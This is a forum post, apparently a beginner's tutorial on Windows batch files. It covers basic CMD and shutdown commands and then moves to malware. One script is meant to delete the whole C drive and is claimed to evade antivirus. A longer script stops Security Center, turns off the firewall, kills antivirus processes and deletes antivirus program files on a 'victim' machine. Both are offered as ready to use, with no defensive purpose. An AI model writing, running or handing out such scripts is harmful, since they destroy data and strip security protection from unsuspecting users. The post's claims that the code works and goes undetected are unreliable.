Learn Batch Programming

Legolas · 02-27-2014, 08:23 PM

Batch File programming is really really easy then any other programming language.
Actually, it's nothing but a batch of DOS ( Disk Operating System ) commands, hence the name Batch programming .
If you are into coding and know many languages you might have noticed that Operating System ( OS ) specific languages
( languages that work only on a particular operating system, eg: Visual Basic Scripting works only in Windows ) give you amazing control over the system.
This is why Batch is so powerful, it gives you absolute control over DOS.
Batch isn’t often used because it is OS specific, but it is fun and easy to learn.

Introduction To Batch Files

Part 1

Part 2

How to create a batch file

Spoiler:
Open Notepad

Type Whatever you want ( the code you want to enter)

Click : "Save as"

Change the file type to all files and folder

Name the file as anything you want with the  extension  .bat 

Basic CMD Commands

echo - This is a way you can insert text into the cmd window.
pause - This pauses CMD (This should be used after echo to keep the text on the screen).
exit - This exits the CMD window.
start - You Can start programs with this (You can put just the name in here if its in the windows folder otherwise you need a directory).
del - Deletes files (You May Need a Directory for this).
copy - Copies files (You Need 2 Directory's for this the starting 1 and the directory you want the file to end up ).
Move - Moves Files (You Need 2 Directory's for this the starting 1 and the directory you want the file to end up ).
%random% - Random Numbers (To See Numbers put %random% after echo)
Call - Calls another batch file.
CLS - Clears the screen of any previous data.
BREAK ON/OFF - When turned on within the batch file, the user has an option of stopping the batch file by bressing Ctrl+Break.
GOTO - This command is used to go to another section of the batch file
End - Ends the process.

Shutdown Command

shutdown : Gives the computer the command to either logoff, shutdown,restart or abort a shutdown
shutdown
shutdown -s
shutdown -r
restarts
shutdown -l
logoff

Spoiler:
Also, you can add time.

shutdown -s -t 60

shutdown in 60 seconds

shutdown -r  -t 360

restarts in 6 minutes 

The timer dosen't work for logoff.

To add a comment put -c "Comment Here" on the end

Make a virus using Batch file programming

Spoiler:

This virus will delete the C Drive.

The good thing about this virus is that it is NOT detected by antivirus.

Instructions:

Open Notepad and copy below code into it.
Code:
@Echo off
Del C:\ *.* |y

Save this file as virus.bat (.bat is necessary)

Now, when you wun this file, it will delete all the content of C Drive.

Disable or Delete your victim's Antivirus using Batch.

Spoiler:
Instructions:

Copy this code to notepad. 
Code:
@ echo off
rem --
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem --

Save it with .bat extension.

And you are ok.:Thumbs-Up:

Learn Batch Programming
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